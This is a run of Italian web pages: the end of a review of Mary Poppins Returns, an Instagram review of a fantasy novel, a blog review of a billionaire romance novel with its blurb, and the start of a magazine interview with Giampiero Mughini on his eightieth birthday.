Gli unici momenti in cui la Mary del libro si mostra vagamente impacciata sono quando è con Bert (“Mary Poppins abbassò lo sguardo, strisciando la punta di una scarpa sul pavimento, due o tre volte. Poi sorrise alla scarpa in un modo che la scarpa capì benissimo che quel sorriso non era per lei”) e i rari, rarissimi sprazzi di gentilezza riservati ai bambini mandano questi ultimi nel panico più totale, facendogli temere che stia per succedere qualcosa di brutto - nello specifico, che stia per lasciarli (“«Forse sarà soltanto per gentilezza» disse Giovanna per calmarlo, ma si sentì un tuffo al cuore come Michele. Sapeva benissimo che Mary Poppins non perdeva mai il tempo a essere gentile. Eppure, strano a dirsi, durante tutto il pomeriggio Mary Poppins non aveva detto neanche una parola sgarbata”; “Alla fine Michele non poté sopportarlo più a lungo: «Oh, sii sgarbata, Mary Poppins! Sii ancora sgarbata! Non è da te! Oh, mi sento tanto in ansia!»”).
Nel film del 1964 i tratti più spigolosi del personaggio appaiono decisamente smussati, vuoi direttamente dalla sceneggiatura, vuoi dalla grazia e dall’eleganza di cui era (è) infusa Julie Andrews. Tratti che, ad ogni modo, permangono: non a caso, la primissima volta che vediamo Mary la scopriamo intenta a sistemarsi il trucco e a contemplarsi allo specchio. Ancora, è lei stessa a descriversi come “gentile ma anche severissima”, e difatti non lesina sguardi di rimprovero ed espressioni sdegnate, sbuffi di esasperazione o un fermo tono di voce all’occorrenza.
Dobbiamo aspettare fino alla fine del film per vederla “confusa dai sentimenti” (per quanto lei affermi vivamente di no), e cioè quando si appresta a lasciare i Banks consapevole che il suo compito è finito (almeno per i successivi vent’anni).
La terza Mary è tutto questo (non sarebbe Mary Poppins, altrimenti), ma dietro ai modi spicci e alle espressioni scioccate e impermalite, specie quando viene fatto riferimento all’età
o, peggio ancora, al peso,
lascia intravedere anche una buona dose di empatia. La nuova generazione di Banks, infatti, colpita da un terribile lutto, sta cercando di riprendersi da una situazione ben più tragica rispetto a quella di Jane e Michael alla stessa età (cioè quella di avere un padre che, concentrato solo sul lavoro, materialmente presente ma emotivamente distante, non si rendeva conto che presto non avrebbe avuto “bimbi da poter viziar”). Così, quando John le fa notare che nell’ultimo anno, a seguito della morte della madre, sono cresciuti tanto, l’espressione di Mary è dolce e compassionevole, ma Emily è veloce a ricacciarla dentro, e a sostituirla con la pragmaticità che è solita contraddistinguere la tata. Ancora, dopo averli messi a letto, e cantata una dolcissima ninna nanna, al di là della porta chiusa indulge in un sorriso malinconico, di assoluta partecipazione al dolore di tre bambini rimasti orfani di madre.
Non solo, ma questa Mary, per quanto - come da tradizione - sia arrivata volando e abbia compiuto le magie più incredibili, appare anche più umana: di fronte alla porta della bottega della cugina Topsy (una certa Meryl Streep), quando questa le intima di andarsene perché è il secondo mercoledì del mese e il suo mondo si rovescia come una “tartaruga sdraiata su schiena”, la tata è genuinamente colta alla sprovvista. Si è totalmente dimenticata, come una persona normale. Viene mostrata una sorta di fallibilità che è difficile anche solo immaginare di associare alla Mary del libro o a quella del 1964. Badate, si tratta di una dimenticanza, questa, che è ben diversa da quella di cui alla prima metà del film, quando Mary conduce l’allegra brigata alla Royal Doulton Music Hall salvo poi scoprire che si è “dimenticata” di farla apparire: in questo caso, infatti, quando le viene fatto notare, è palese come quella sbadataggine altro non sia se non un calcolatissimo coup de théâtre.
A quella fallibilità fa peraltro eco la stessa Topsy, quando afferma che “Una volta tanto Mary Poppins ha ragione”.
(Are you, though?)
Ciò non toglie che, per quanto più tenera o più “umana”, o caratterizzata così che emergano sfumature ulteriori rispetto alle descrizioni o interpretazioni precedenti, sempre di Mary Poppins stiamo parlando, cioè del più fulgido esempio - per dirla con Christopher Vogler (**) - di “Eroe catalizzatore”. Si tratta di “figure centrali [...] che non cambiano molto perché la loro funzione principale è provocare una trasformazione negli altri. Come i catalizzatori nella chimica, essi provocano un cambiamento nel sistema senza subire mutamenti. [...] questi Eroi subiscono pochi cambiamenti interiori e intervengono soprattutto per aiutare gli altri o guidarli nella crescita.”
Questo, ovviamente, vale soprattutto per le due Mary cinematografiche, in quanto quella cartacea ha ben poco ruolo nell’arco di trasformazione dei cinque piccoli Banks (o del Banks senior), limitandosi ad arrivare, far vivere loro le avventure più bizzarre e poi ripartire.
La Mary del 1964, invece, nel rompere gli equilibri (de)cantati da George Banks, fa comprendere a quest’ultimo che il suo ruolo di padre non (deve) consistere soltanto nell’impartire una istruzione rigida, ma anche e soprattutto nell’essere presente in senso affettivo. E quella del 2018 è tornata per ricordare ai bambini di essere bambini, e agli adulti di esserlo stati. Tema, questo, recentemente affrontato dalla Disney anche nel bel Ritorno Al Bosco dei Cento Acri.
In effetti, questa terza Mary ha anche un ruolo più attivo: è lei che mette (consapevolmente) in moto i meccanismi della trama, consegnando a Georgie lo scatolone che contiene - all’insaputa di tutti - il certificato azionario che stavano cercando, è lei che suggerisce al bambino di accomodare l’aquilone, è lei che evoca la folata di vento decisiva.
Pratically perfect, in every way
Come Irene Adler è, per Sherlock Holmes, “La Donna” cioè il paradigma di tutto il genere femminile, così Emily Blunt è, per me, L’Attrice. Ha ragione Rob Marshall, il regista, a dire che nessun’altra persona al mondo, dell’uni o del multiverso, avrebbe potuto vestire i panni di Mary Poppins oltre lei.
Per quel che mi riguarda, con questa interpretazione Emily è entrata nell’Olimpo dei grandi con la stessa prepotenza con cui Mary sfonda la porta della bottega di Topsy. Balla e canta come se lo facesse da sempre, e regala al personaggio guizzi che, vuoi per intuito, vuoi per preparazione o per talento innato, rappresentano la cifra dell’attrice che è. Per fare un esempio, in uno dei numeri musicali più riusciti, dal gusto vaudevilliano, affronta i ritornelli di A Cover Is Not A Book con la cadenza e il tono di voce di un vecchio ebbro (tant’è che, infatti, la canzone è una sorta di discorso diretto dello zio Gutenberg, “ubriaco un giorno sì e uno no”).
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La sua Mary è elegante ed eccentrica, dolce e lapidaria, straordinaria e umana, infallibile e fallibile. Mezzo secolo dopo Emily ha saputo riprendere in mano un personaggio ormai entrato nell’immaginario collettivo (e per il quale Julie Andrews ha vinto l’Oscar alla migliore attrice) e ha saputo infondervi nuova vita senza per questo venire meno agli elementi costitutivi del ruolo. Mi auguro che l’Academy ne tenga conto, o potrei non rispondere più delle mie azioni.
So when life is getting scary, be your own illuminary
La controparte di Mary non è più lo spazzacamino Bert ma il lampionaio Jack, apprendista del primo. Ad interpretarlo Lin-Manuel Miranda, che dimostra di essere a suo agio su un set cinematografico tanto quanto su un palco di Broadway. Ero a conoscenza dell’enorme successo di Hamilton, ma ignoravo che lui fosse un artista tanto talentuoso: ha guadagnato una nuova fan, senza dubbio.
Once upon a time, there was a man with a wooden leg named Smith.
È stata una fortuna che, a suo tempo, abbia appreso la notizia del cameo di Dick Van Dyke nella privacy della mia camera: fosse accaduto su un autobus il controllore mi avrebbe fatta ricoverare direttamente, tanto mi sono fatta prendere dall’entusiasmo. Qui interpreta Mr Dawes jr, in uno splendido omaggio al suo secondo ruolo nel film del 1964, dove era, oltre a Bert, anche Dawes padre.
Balloon, she wrote
Se la sala in cui ho assistito alla prima proiezione del film non ha battuto ciglio al palesarsi di Dick Van Dyke (segno che non vede più in là del proprio naso - va da sé che non si è nemmeno resa conto della presenza di Karen Dotrice, la Jane Banks originale), altra storia si è avuta quando è comparsa l’unica e sola Jessica Fletcher, accompagnata da un coro di “aaaaah, guarda chi c’è”. Angela Lansbury è una leggenda del grande e del piccolo schermo, e la sua presenza non è che un valore aggiunto in un film già bello di suo.
Simply sensational, standing-ovational
P.L. Travers si starà rivoltando nella tomba: già non era entusiasta del fatto che i suoi libri divenissero un film, e non oso immaginare cosa avrebbe pensato se avesse saputo che mezzo secolo più tardi ne avrebbero girato addirittura un sequel (per tacere, poi, di Saving Mr Banks). Magra consolazione sarebbe stata per lei il fatto che Il ritorno di Mary Poppins è, secondo me, davvero un bel film.
Non nego che abbia dei difetti: ad esempio, non mi è piaciuto l’inserimento di un antagonista (un Colin Firth senza infamia e senza lode) perché cosa riuscitissima del primo film era che non vi fosse un vero e proprio cattivo se non le circostanze. Dopotutto, la (nuova) famiglia Banks andava benissimo a rotoli da sola senza la necessità dell’intervento del banchiere a rimarcarlo.
Riconosco altresì che quello che per me è un win per altri è un sin: per dire, ho apprezzato il fatto che i plot point dei due film siano praticamente paralleli, ma quello che per me è l’effetto rassicurante e familiare dell’aristotelica struttura in tre atti per altri può essere banale e “già visto”.
Ad ogni modo, parlando onestamente e con tutto l’amore che mi lega al film del 1964, questo secondo è tutto ciò che speravo sarebbe stato il sequel.
Poiché ho trascorso due ore con gli occhi a cuoricino, ritengo che abbiano saputo mantenere in vita quel senso di magia e meraviglia che è stato la fortuna di Mary Poppins. E non era scontato: il pubblico del 2018 non è lo stesso del 1964. Gli spettatori odierni hanno ormai il palato abituato alle trovate più fantasmagoriche, e se cinquanta anni fa vedere una tata discendere dal cielo o personaggi in carne ed ossa interagire con quelli disegnati sembrava (giustamente) un incredibile incanto, oggi siamo così assuefatti agli effetti speciali che non ci meravigliamo più di niente, e siamo così bombardati da storie di tutti i tipi (e da tutti i medium) che siamo alla costante ricerca di qualcosa che, vuoi per bizzarria, audacia o innovazione (penso a Black Mirror con l’episodio interattivo), riesca ad emergere dal mucchio di un’offerta vastissima. Dice bene Claire all’inizio di Jurassic World: “Siamo sinceri: nessuno si impressiona più con un dinosauro, ormai. Vent’anni fa la de-estinzione è arrivata come una magia. Oggi i bambini guardano uno stegosauro come un elefante al giardino zoologico. [...] I nostri ricercatori scoprono nuove specie ogni anno, ma i consumatori li vogliono sempre più grandi, più rumorosi... più denti.”
Il ritorno di Mary Poppins, invece, fa proprio questo: stupisce. E non tanto (o non solo) con le meraviglie dell’animazione 2D o degli effetti speciali ma con l’intimità di una piccola storia familiare.
Now my heart is so light that I think I just might start feeding the birds and then go fly a kite
Il film è sì un sequel che si regge perfettamente sulle sue gambe, ma è anche un omaggio lungo due ore: non si può fare a meno di notare come il numero dei lampionai richiami, tanto nell’ensamble quanto nelle atmosfere notturne, quello degli spazzacamini. E anche in questa seconda occasione Mary è vestita di rosso, a riprova di quanto nulla sia stato lasciato al caso.
E la colonna sonora utilizza, in maniera nemmeno sottile, gli inconfondibili temi musicali di quella precedente, contribuendo a solleticare la nostalgia degli spettatori.
Ora, in sala, origliando i commenti, ho sentito che qualcuno si aspettava che Mary cantasse anche Supercalifragilistichespiralidoso: purtroppo non lo fa, ma se avessero prestato maggiore attenzione si sarebbero resi conto che l’adattamento italiano un piccolo easter egg ce l’ha messo: così, nel brano Royal Doulton Music Hall, il verso “At the highly acclaimable, nearly untamable / lavishing praisable, always roof-raisable” diventa “È la supercalibile fragilistibile chespiralibile edosolibile”. Una piccola cosa, ma apprezzalibile.
E sì, vero che le canzoni, per quanto sagaci ed orecchiabili, forse non sono memorabili quanto le altre, ma è altresì vero che mentirei se dicessi di essere uscita dal cinema senza canticchiare The Royal Doulton Music Hall o Trip A Little Light Fantastic.
(e comunque ciò non mi impedirà certo di ascoltare in loop, per il resto della mia esistenza terrena e anche ultraterrena, Emily Blunt cantare)
Dicevo che il film è un lungo omaggio: lo è non solo del suo diretto predecessore, ma anche della fonte originale. Per fare giusto un esempio, la sequenza vaudeville attinge a piene mani dall’universo creato da P.L. Travers: i capitoli 6 e 9 del secondo libro vivono all’interno di A Cover Is Not A Book.
E il film, già che c’è, si prende la briga di citare anche un altro classico Disney, Pomi d’ottone e manici di scopa (che ha per protagonisti la già citata Angela Lansbury e David Tomlinson, cioè George Banks, e presenta canzoni scartate da Mary Poppins, a chiusura del cerchio): la sequenza subacquea è un diretto rimando a quella dell’altro film.
Entrambe le pellicole poi, con perfetta specularità, terminano con Mary che chiosa sulla sua perfezione, mentre da lontano osserva commossa i Banks che festeggiano la ritrovata serenità al parco, solo che in un caso la nuova leggerezza è data dagli aquiloni, nell’altro dai palloncini.
Now if your life is getting foggy that's no reason to complain, there's so much in store, inside the door of 17 Cherry Tree Lane
Il 2018 è stato l’anno di Emily e delle sue vasche da bagno (ma spero che a casa abbia la doccia, se non altro per motivi ecologici) e quello che mi auguro sia “in store” nel 2019 è una vagonata di premi, a cominciare dal Golden Globe, per il quale ha già beccato la nomination, passando per il SAG e per approdare all’Oscar. Altrimenti, lo ribadisco, potrei non rispondere più delle mie azioni.
E nessun controllore della Conerobus potrà far niente per fermarmi.
Se siete arrivati fin qui bravi, ma fate un ultimo sforzo e mettete un like alla pagina Emily Blunt Italia, che si ringrazia della condivisione dell’articolo.
* P.L. Travers, Mary Poppins, prima edizione digitale 2014 da III edizione Bur ragazzi, giugno 2010. Traduzione di Letizia Bompiani (1935)
** Christopher Vogler, Il viaggio dell’Eroe, Dino Audino Editore, 2010, p. 45
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“… loro erano Wallace e Hugo, un morto e un vivo. Con un abisso che si estendeva nel mezzo.” 👉🏻 #sottolaportadeisussurri Wallace è un avvocato freddo e calcolatore, pretenzioso e preciso … diciamo stronzo e facciamo prima. Pazienza perché tanto a breve … muore. Non c’è da meravigliarsi se al suo funerale vanno solo gli ex soci e l’ex moglie e non sono in lutto, anzi gliene dicono di tutti i colori. C’è un’altra persona però: Mei, il suo mietitore. Wallace è ora uno spirito e viene accompagnato da Mei … in una sala da tè: il Passaggio di Caronte Tè e Dolcetti. Lí incontra Hugo, un giovane traghettatore e suo nonno e il suo cane in versione spiriti. Loro aiuteranno Wallace a oltrepassare la porta … cioè quello è il loro compito ma non sempre le cose vanno per il verso giusto. 👍🏻👎🏻 La sala da tè ricorda la Tana, la casa della famiglia Weasley però all’interno è assolutamente originale con quelle foglie che cadono dai cestini appesi al soffitto e le sedie tutte diverse. 👍🏻 Tutti i personaggi sono unici per via del loro non essere comuni. Di solito nei libri ci sono i belli e perfetti, qui no, hanno la pancetta, le rughe, i denti un po’ storti, insomma sono umani e imperfetti. 👍🏻 🤣 Bellissimo il nonno con le pantofole a forma di coniglio! Tutti i personaggi principali sono affascinanti e buffi a modo loro. Mei sempre pronta a difendere i suoi amici con i coltelli da cucina, Hugo così paziente e comprensivo. Wallace così testardo e ossessionato dal lavoro (unico motivo per cui vuole tornare a vivere). 👍🏻 La lettura è molto scorrevole, la storia si legge in un attimo dal tanto che è coinvolgente e ricca di avvenimenti. 👍🏻 È un libro sulla morte ma soprattutto sulla vita, sul perdersi, sul dolore e la paura. La fine mi ha strappato qualche lacrima. ❓Avete letto qualcosa di questo autore? Leggerete questo libro? #tjklune #bookreview #calibro2022 #librosrecomendados #maggioneilibri #antrodilibri #libridimaggio22 #stayconape #lombradibarbara #bibliophilelegentibus #consigliandopilloledilibri #amicandito #ilclubdeilettorifelici #storiebookite https://www.instagram.com/p/CeLYA3asg4-/?igshid=NGJjMDIxMWI=
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Il Miliardario inaspettato - Jax - J. S. Scott, RECENSIONE
Titolo: Il Miliardario inaspettato - Jax Autore: J. S. ScottEditore: Golden Unicorn Enterprises, IncGenere: Contemporary Romance Vuoi ricevere in anteprima le nostre uscite ?
Recensione
Il Miliardario inaspettato - Jax - J. S. Scott Salve readers, oggi torniamo a parlare della serie L’Ossessione del Miliardario di J. S. Scott, e più precisamente del sedicesimo volume: Il Miliardario Inaspettato-Jax. Come ormai sapete, la Scott racconta meravigliose storie d’amore che mettono in evidenza tematiche serie e importanti. Ogni libro affronta uno o più argomenti spinosi, con una delicatezza incisiva ed elegante, niente viene reso mai morboso o cubo, ma non viene neanche mai sminuito in nessun modo. La scrittura della Scott ti conduce per mano lungo il sentiero che ha delineato, ti fa provare mille emozioni diverse: paura, dolore, eccitazione, gioia, entusiasmo, disperazione, finché dipana l’intera trama, ogni aspetto, ogni dettaglio. I suoi personaggi sono sempre perfettamente delineati e coerenti coi tempi, i luoghi e le occasioni che si trovano a vivere. Normalmente leggo i libri forniti dal Blog, cioè copie non ancora completamente corrette, non definitive, in questo caso il libro me lo sono comprato, avevo bisogno di cambiare genere e visto che ho già letto i primi quindici, ho voluto leggere anche Il Miliardario Inaspettato. Nel leggerlo però, in più punti mi sono trovata in difficoltà nel cercare di capire il senso di alcune frasi, probabilmente tradotte troppo letteralmente o che sono sfuggite all’editor. Per carità capita, ma mi ha dato fastidio. Detto questo, ora vi racconterò un po’chi sono i protagonisti di questa storia: Jax e Harlow. Abbiamo incontrato entrambi nel libro precedente, quello che raccontava la storia di Hudson e Taylor. Jax e Hudson sono fratelli e insieme a Cooper, il fratello più piccolo, sono i proprietari della Montgomery Mining, nonché bellissimi ragazzi e ultramiliardari. Jax è il playboy della famiglia, i giornali scandalistici lo additano come quello che non esce mai due volte con la stessa donna, lo scapolo da un solo incontro, quello che non si lega a nessuna, ma lui è molto più di questo, anche se fa di tutto per minimizzare tutte le cose buone che fa per gli altri. Harlow è una geo scienziata, è la migliore amica di Taylor, ed era la sua mentore quando hanno vissuto il momento peggiore della loro vita. Harlow ha perso il padre quando era ancora al liceo e da quel momento ha dovuto rimboccarsi le maniche e lavorare duramente per poter studiare e ottenere i lavoro dei suoi desideri nell’azienda che sogna da sempre: geologa ricercatrice alla Montgomery Mining. Tutto ciò che è successo in Lania però ha lasciato grosse cicatrici in Harlow, e lei non sembra in grado di superarle da sola, ma si ostina a non volersi far aiutare dagli esperti di last Hope, peccato che non avesse fatto i conti con la cocciutaggine e la perseveranza di Jaxton Montgomery. "Caddi in ginocchio e accarezzai l’adorabile cane. “Dio mio. Che cane carino. È un maschio o una femmina?” “Il suo nome è Molly. È un Lhasa Apso ed è uno dei cani più intelligenti che abbia mai aiutato ad addestrare. Ho pensato che avresti potuto beneficiare della sua compagnia per un po’. Ma è solo in prestito. Il suo padrone la rivorrà indietro, prima o poi.” Sorrisi, mentre mi sedevo, e Molly si mise sul mio grembo, mi leccò il viso e poi si mise a suo agio sulle mie gambe incrociate. Feci scorrere la mano sul suo manto setoso, mentre chiedevo: “I cani Lhasa Apso di solito non hanno manti molto lunghi?” “Di solito” concordò. “Ma Molly non è un cane da esposizione, e fa troppo caldo qui per farle indossare una pelliccia del genere.” “Non che non sia adorabile così com’è” lo rassicurai. “Sembra quasi un cucciolo.” “Ha cinque anni e la maggior parte dei Lhasa sembrano cuccioli per sempre con un taglio di peli più corto.” “È così dolce. Chi è il suo proprietario?” “Io” rispose con umorismo nella voce. “E il mio golden retriever, Tango, andrà in lutto perenne se non riporterò la sua amica a un certo punto.” Fece cenno al cane. “Molly. Vieni.” Nel libro precedente avevo capito che l’interesse di Jax per la dottoressa Lewis andasse ricercato al di fuori dell’ambito lavorativo, ma non avevo capito che lei lo avesse tenuto a distanza per superficialità. Durante la lettura è stato piuttosto evidente che Harlow ha giudicato Jax dalle apparenze, da quello che scrivevano i giornali e dal suo conto in banca, non si è disturbata minimamente per verificare se quel che sapeva corrispondesse a verità, lo ha dato per scontato e gli ha affibbiato l’etichetta di ricco stronzo. “Perché sei sempre un tipo da una-volta-e-basta?” Alzai le spalle. “Se non c’è, non c’è. Perché prolungare l’agonia? Non è che non mi sarebbe piaciuto trovare quella donna che voleva stare con me più di quanto volesse uscire con un miliardario o un Montgomery. Semplicemente non è mai successo. Tutte quelle donne non erano neanche primi appuntamenti. È successo che la stampa non mi abbia mai visto due volte con la stessa donna, perché nessuna delle mie relazioni durava a lungo.” E più lui cercava di aiutarla e più lei si ergeva a giudice e giuria, ma nel momento in cui ha dovuto cedere alle sue pressioni, ha iniziato a capire d’aver sbagliato completamente nel giudicare quel ragazzo che aveva il cuore molto più grande del conto in banca. Harlow in seguito al rapimento si troverà ad affrontare traumi importanti e solo grazie all’aiuto, e alla conoscenza di quegli stessi traumi da parte di Jax, comincerà a riprendere in mano la sua vita, il problema è che nel frattempo si è resa conto di essere ancora attratta da lui ma ha paura. Paura che lui non la voglia, paura di soffrire, paura di perdersi ancora. Emisi un sospiro esasperato, mentre guardavo il sorriso sul suo volto e gli puntavo il dito contro. “Non rivolgermi quel sorriso sexy perché pensi che mi calmerà. È la tua bellezza che mi ha portato in questa situazione in primo luogo.” Il suo sorriso si fece più ampio. “Mi hai chiesto tu di baciarti” mi ricordò con voce roca. Ero entrata nel piccolo bagno per raccogliere i miei articoli da toeletta. “Ti ho chiesto di baciarmi” dissi a voce più alta in modo che potesse sentirmi. “Non ti ho chiesto di arricciarmi le dita dei piedi e capovolgere l’intero universo.” Quel bacio non era stato solo un semplice bacio. Era stato come avere un’esperienza orgasmica con i miei vestiti addosso. Dal canto suo Jax ha mantenuto la parola che le aveva dato e trascorre con lei tutto il suo tempo libero, aiutarla a riprendersi è il suo primo interesse, ma spera ardentemente che possa esserci qualcosa tra loro, una volta concluso il suo compito come consulente. Ecco, ci sarebbe ancora parecchio da dire, ma non voglio rovinarvi la lettura, quindi ora tocca a voi, buona lettura, Jenny. SCOPRI IL NOSTRO TEAM Vuoi ricevere in anteprima le nostre uscite ?
Trama
Il Miliardario inaspettato - Jax - J. S. Scott Non mi sarei mai aspettata che l'uomo che vedevo come nient'altro che un playboy miliardario fosse l'unica persona in grado di salvarmi dalla quasi follia.Un momento prima, tutto era perfetto.Finalmente ero la Dottoressa Harlow Lewis, geologa ricercatrice, ed ero impiegata presso i Montgomery Mining Laboratories, la crème de la crème dei laboratori per la mia specialità. Avevo anche buoni amici, una genitrice solidale e una relazione in erba con un ragazzo eccezionale. Mettendo insieme tutte queste cose, sarebbe stato impossibile che la mia esistenza fosse qualcosa di meno che ideale.Era esattamente la vita che avevo sempre desiderato, finché… le cose erano cambiate.Immagino di non aver mai pensato che brevi periodi di perfezione potessero essere immediatamente seguiti da una terribile situazione di ostaggio durata nove giorni che avrebbe cambiato per sempre la donna che ero stata prima di quell'incidente.Stranamente, dopo il mio rilascio, l'unica persona che capiva che stavo lottando per riavere la mia vita era Jaxton Montgomery, il mio capo miliardario e il re delle avventure di una notte. Non esattamente il confidente perfetto, giusto? Noi due parlavamo a malapena a meno che non si trattasse di affari dell'azienda, soprattutto dopo che avevo rifiutato un appuntamento con lui due anni prima. Quale donna razionale avrebbe voluto cenare con un uomo noto per il suo comportamento da puttaniere?Forse Jax non era il ragazzo che avrei scelto per essere la persona che mi avrebbe trascinata fuori dall'oscurità e di nuovo nella vita, ma era l'unico abbastanza testardo da farlo. Ha sistematicamente abbattuto tutte le difese finché non mi sono avvicinata e mi sono aggrappata a lui come se fosse l'unica ancora di salvezza che avevo.Solo dopo averlo conosciuto ho capito che era molto di più del playboy che era stato ritratto nelle colonne di gossip.Era paziente, non giudicava e aveva un contorto senso dell'umorismo. Ancora più strano, capiva quello che stavo passando, anche quando non lo capivo nemmeno io.Sfortunatamente, era anche il ragazzo più sexy che avessi mai incontrato, e mentre la nostra bizzarra relazione di amici ma non troppo continuava, diventava sempre più difficile combattere l'intensa chimica tra noi due.Cosa succede quando un ragazzo che non ti piaceva solo pochi mesi prima diventa improvvisamente tutto per te?Jax mi aveva aiutata a tornare in me, ma ero abbastanza coraggiosa da rischiare tutto di nuovo per tenere l'unico uomo che avevo sempre desiderato ma che non avevo mai potuto avere? Ha sistematicamente abbattuto tutte le difese finché non mi sono avvicinata e mi sono aggrappata a lui come se fosse l'unica ancora di salvezza che avevo.Solo dopo averlo conosciuto ho capito che era molto di più del playboy che era stato ritratto nelle colonne di gossip.Era paziente, non giudicava e aveva un contorto senso dell'umorismo. Ancora più strano, capiva quello che stavo passando, anche quando non lo capivo nemmeno io.Sfortunatamente, era anche il ragazzo più sexy che avessi mai incontrato, e mentre la nostra bizzarra relazione di amici ma non troppo continuava, diventava sempre più difficile combattere l'intensa chimica tra noi due.Cosa succede quando un ragazzo che non ti piaceva solo pochi mesi prima diventa improvvisamente tutto per te?Jax mi aveva aiutata a tornare in me, ma ero abbastanza coraggiosa da rischiare tutto di nuovo per tenere l'unico uomo che avevo sempre desiderato ma che non avevo mai potuto avere? Il Miliardario inaspettato - Jax - J. S. Scott Buona lettura, Jenny. Se ti è piaciuta questa recensione ti consiglio di acquistare questo libro direttamente su Amazon Cliccando qui Ringraziamo di cuore a tutti quelli che continueranno a sostenerci seguendoci e per chi farà una piccola donazione! Grazie di cuore! Autrice consigliata : monique vane SERVIZI ONLINE PER IL TUO LIBRO Read the full article
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13 apr 2021 18:19
"SENZA LA TV NON AVREI PAGATO BOLLETTE E TASSE. VADO DOVE MI CHIAMANO. SONO COME GLI IDRAULICI" – MUGHINI FA 80 E SI RACCONTA A LUCA BEATRICE: "A CERTI LIVELLI ESSERE INTELLETTUALE È SOLO D’IMPACCIO. VANNO BENE LE INFLUENCER CHE SE NON APRONO BOCCA MEGLIO È. UNA VOLTA HO CITATO TOGLIATTI E..." - E POI L'IMMAGINARIO EROTICO, BRIGITTE BARDOT, LA JUVE DI PIRLO (“I MIEI AMICI DICONO CHE DOVREMMO ANDARE IN GINOCCHIO DA MAX ALLEGRI E IO NON HO NULLA CONTRO QUESTO PUNTO DI VISTA")...
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Luca Beatrice per
Mowmag.com
Diversi anni fa, nel suo secondo libro dedicato alla Juventus, Giampiero Mughini parlò di me per un paio di pagine, usando un’espressione così bella che la rimando spesso a mente: “dove lo tocchi, suona”. Aggiungendo poi che le mie eventuali qualità intellettuali e le mie curiosità culturali si vanificano in un istante se si parla di calcio, dove divento tifoso accecato dall’ideologia e dalla partigianeria.
Frequentassi più spesso Roma avrei maggiori occasioni per incontrarlo e visitare la sua splendida casa, tra Stazione Trastevere e Monteverde, da dove comincia questo dialogo che MOW mi ha commissionato per festeggiare il suo ottantesimo compleanno.
Giampiero, cominciamo dal libro del 2014, Una casa romana racconta, in cui parli appunto della tua bellissima casa. Bene o male finisce per assomigliarci. Cominciamo da qui: in questi 14 mesi di isolamento è cambiato il rapporto con la tua casa?
In nulla, il mio isolamento non è stato maggiore rispetto agli altri mesi e anni della mia vita recente. Non vado da nessuna parte, non frequento nessun salotto, me ne sto appartato nella stanza dei libri e produco da qui quel poco di reddito che mi serve per pagare le tasse e bollette.
Quelle volte che ci sono entrato ho percepito che ogni dettaglio fosse stato concepito come la parte di un autoritratto assai complesso.
La casa è stata un luogo dell’anima e ciascun chiodo è stato piantato con l’intento di ripercorrere le tracce del Novecento. Le tracce disseminate hanno la forma di collezioni, anche se il termine, detto da un poveraccio che non è François Pinault, pare eccessivo. Con quel poco che mi resta compro le cose che mi piacciono, libri, fotografie, oggetti di design, vinili d’epoca. La casa non è un deposito, ma il luogo dove tutto ciò prende una forma e svela una vita.
Ovviamente restai impressionato dalla collezione del Futurismo che, nel frattempo, è stata alienata: perché? Ti sei allontanato da quella passione che hai alimentato nei decenni attraverso ricerche forsennate di prime edizioni e rarità?
Erano trent’anni che lo collezionavo, lo studiavo, però quell’avventura intellettuale si era consumata. Guardavo i libri sui ripiani della biblioteca e mi sembravano inerti. Tra trattenerli così e farne un bellissimo catalogo edito dalla libreria Pontremoli di Milano e con il ricavato della vendita avviare una nuova avventura collezionistica incentrata sul libro d’artista del secondo Novecento, ho preso questa seconda decisione. L’amputazione di queste ottocento voci è stato però il gran lutto della mia vita.
Un’altra considerevole parte è dedicata all’erotismo. È ancora lì?
Ma certo, senza l’erotismo si può vivere? Senza l’immaginario che si deposita su un oggetto, sul lavoro, non dico su un’amicizia… è qualcosa che brucia dentro in senso positivo e la donna lo è per eccellenza. Come scrisse Leonardo Sciascia, quanto più l’erotismo si accende tanto più la donna reale è assente. Sono stato particolarmente sollecitato dall’immaginario erotico negli anni in cui vivevo da solo, dai trenta ai cinquanta, quando la femminilità per me era immaginata, sognata, il che rendeva straordinariamente improbabili i rapporti con le donne reali che non corrispondevano a quell’immaginario o se vi corrispondevano era proprio un disastro.
Hai comprato qualcosa di interessante recentemente?
Alcune tavole di Guido Crepax, che in Italia è il maggior cantore dell’erotismo, in particolare quella da cui origina la copertina del 33 giri di progressive rock Nuda dei Garybaldi, uscito nel 1972, probabilmente la più bella mai pubblicata su un vinile italiano. Ci tenevo tanto.
Da cacciatore di rarità tra antiquari e librerie, usi anche il web per i tuoi acquisti?
Ho imparato, in particolare per i libri. In effetti dovrei erigere un monumento a Jeff Bezos: per esempio ho cercato a lungo il catalogo di una mostra sui Lettristi francesi del 1988 e l’ho trovato in rete da un libraio tedesco.
Almeno due libri tuoi sono dedicati all’eros. L’omaggio a Brigitte Bardot e Sex Revolution. Ora, di questi tempi, non ce la passiamo troppo bene a tal proposito, dacché l’erotismo è costretto a passare attraverso l’ondata di neo-moralismo pericolosissimo. Che ne pensi?
Io però li disprezzo. C’è un limite a tutto. Non sono disposto neppure ad avviare un ragionamento. Non si può guardare un’immagine femminile e pensare sia un atto pruriginoso. Ti racconto questa storia: per strada accanto a casa c’erano lavori e il passaggio si restringeva giusto per far passare una sola persona. Nella direzione avversa alla mia veniva una giovane donna, mi sono fatto di lato e l’ho lasciata passare. Lei è divenuta rossa in viso e mi ha sorriso, ha capito che era un omaggio alla sua femminilità. Se finissero questi omaggi sarebbe la fine del mondo. Così come non permetto a una sola donna di parlare genericamente di uomini quando si parla di stupri e violenza. Ciascuno risponde di sé stesso, solo di sé stesso.
Hai più volte ribadito che BB è la donna più bella di tutti i tempi, ma ti sei espresso anche in favore di Kate Moss. Oggi, c’è un nuovo sex simbol, ovviamente femminile?
Belle donne tante, però con un potere magico come loro, no. Oggi è molto diverso perché tutto si consuma nello spazio di cinque minuti. Pensa alla politica, Matteo Renzi aveva il 40% dei consensi e dopo poco il 2%. Togliatti, Andreotti, De Gaulle, duravano ben di più.
Un dato biografico. Tuo padre era originario di Marradi. Ti è giunto lo spirito di Dino Campana, in qualche modo?
